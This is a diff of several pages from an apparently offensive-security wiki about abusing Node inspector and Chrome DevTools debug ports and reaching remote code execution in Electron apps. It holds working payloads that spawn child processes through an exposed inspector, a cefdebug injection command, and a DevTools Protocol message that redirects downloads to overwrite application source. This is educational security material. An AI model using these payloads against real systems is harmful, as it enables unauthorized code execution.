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SUMMARY.md

@@ -42,7 +42,7 @@
     * [Namespaces](linux-unix/privilege-escalation/docker-breakout/namespaces.md)
     * [Docker --privileged](linux-unix/privilege-escalation/docker-breakout/docker-privileged.md)
     * [Abusing Docker Socket for Privilege Escalation](linux-unix/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation.md)
-  * [Node/CEF inspector abuse](linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
+  * [Node inspector/CEF debug abuse](linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
   * [Escaping from Jails](linux-unix/privilege-escalation/escaping-from-limited-bash.md)
   * [Cisco - vmanage](linux-unix/privilege-escalation/cisco-vmanage.md)
   * [D-Bus Enumeration & Command Injection Privilege Escalation](linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)

linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md

@@ -1,4 +1,4 @@
-# Node/CEF inspector abuse
+# Node inspector/CEF debug abuse
 
 ## Basic Information
 
@@ -23,9 +23,20 @@ node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
 # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
 ```
 
-Processes based on **CEF** (Chromium Embedded Framework) like **electron could be vulnerable to privilege escalation** if they **left the inspector activated** in the production version that people is using.
+When you start an inspected process something like this will appear:
 
-In case of CEF projects, they need to use the param: `--remote-debugging-port=9222`
+```
+Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
+For help, see: https://nodejs.org/en/docs/inspector
+```
+
+Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE.
+
+When you start a debugged browser something like this will appear:
+
+```
+DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
+```
 
 ### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
 
@@ -35,27 +46,33 @@ Websites open in a web-browser can make WebSocket and HTTP requests under the br
 This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln).
 {% endhint %}
 
-## RCE
+### Starting inspector in running processes
+
+You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation.
+
+```bash
+kill -s SIGUSR1 <nodejs-ps>
+# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
+```
 
 {% hint style="info" %}
-If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)****
+This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process.
 {% endhint %}
 
-Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like:
-
-```javascript
-process.mainModule.require('child_process').exec('calc')
-
-window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
-
-require('child_process').spawnSync('calc.exe')
-
-Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
-```
-
 ### Connect to inspector/debugger
 
-If you have access to a **Chromium base browser** you can connect accessing `chrome://inspect` or `edge://inspect` in Edge. Click the Configure button and ensure your **target host and port** are listed.
+If you have access to a **Chromium base browser** you can connect accessing `chrome://inspect` or `edge://inspect` in Edge. Click the Configure button and ensure your **target host and port** are listed (Find an example in the following image of how to get RCE using one of the next sections examples).
+
+![](<../../.gitbook/assets/image (620).png>)
+
+Using the **command line** you can connect to a debugger/inspector with:
+
+```bash
+node inspect <ip>:<port>
+node inspect 127.0.0.1:9229
+# RCE example from debug console
+debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
+```
 
 The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them.
 
@@ -68,7 +85,44 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd
 ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
 ```
 
+{% hint style="info" %}
+Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) **** (you need to check the API to find interesting things to do with it).
+{% endhint %}
 
+## RCE
+
+{% hint style="info" %}
+If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)****
+{% endhint %}
+
+Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**):
+
+```javascript
+process.mainModule.require('child_process').exec('calc')
+window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
+require('child_process').spawnSync('calc.exe')
+Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
+```
+
+## Chrome DevTools Protocol Payloads
+
+You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
+In this section I will just list interesting things I find people have used to exploit this protocol.
+
+### Overwrite Files
+
+Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**.
+
+```javascript
+ws.send(JSON.stringify({
+    id: 42069,
+    method: 'Browser.setDownloadBehavior',
+    params: {
+        behavior: 'allow',
+        downloadPath: '/code/'
+    }
+}));
+```
 
 ## References
 
@@ -79,3 +133,5 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd
 * [https://bugs.chromium.org/p/project-zero/issues/detail?id=1742](https://bugs.chromium.org/p/project-zero/issues/detail?id=1742)
 * [https://bugs.chromium.org/p/project-zero/issues/detail?id=1944](https://bugs.chromium.org/p/project-zero/issues/detail?id=1944)
 * [https://nodejs.org/en/docs/guides/debugging-getting-started/](https://nodejs.org/en/docs/guides/debugging-getting-started/)
+* [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)
+* [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves)

pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md

@@ -2,10 +2,14 @@
 
 Electron is **based on Chromium**, but it is not a browser. Certain principles and security mechanisms implemented by modern browsers are not in place.
 
+In the source code of an Electron app, inside the `packet.json` you can find specified the `main.js` file where security configs ad set.
+
 Electron has 2 process types:
 
-* Main Process
+* Main Process (has complete access to NodeJS)
-* Renderer Process
+* Renderer Process (should have NodeJS restricted access for security reasons)
+
+![](<../../../.gitbook/assets/image (307).png>)
 
 A **renderer process** will be a browser window loading a file:
 
@@ -24,6 +28,7 @@ The desktop application might have access to the user’s device through Node AP
 * **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
 * **`contextIsolation`** - is `on` by default. If on, main and renderer processes aren't isolated.
 * **`preload`** - empty by default.
+* **``**[**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
 
 Example of configuration:
 
@@ -110,13 +115,15 @@ If the contexts aren't isolated an attacker can:
 3. **Trigger** the use of **overwritten function**
 4. RCE?
 
-There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code.
+There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
 
 {% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
 [electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
 {% endcontent-ref %}
 
-
+{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %}
+[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md)
+{% endcontent-ref %}
 
 ## Read Internal Files: XSS + contextIsolation
 
@@ -145,6 +152,11 @@ window.open("<http://subdomainagoogleq.com/index.html>")
 </script>
 ```
 
+## **Tools**
+
+* [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
+* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) **** is an open source VS Code plugin for Electron applications that uses Electronegativity.
+
 ## **References**
 
 * [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)

pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

@@ -33,6 +33,8 @@ Array.prototype.indexOf = function(){
 
 Check the original slides for other ways to execute programs without having a prompt asking for permissions.
 
+Apparently another way to load and execute code is to access something like `file://127.0.0.1/electron/rce.jar`
+
 ## Example 2: Discord App RCE
 
 Example from [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)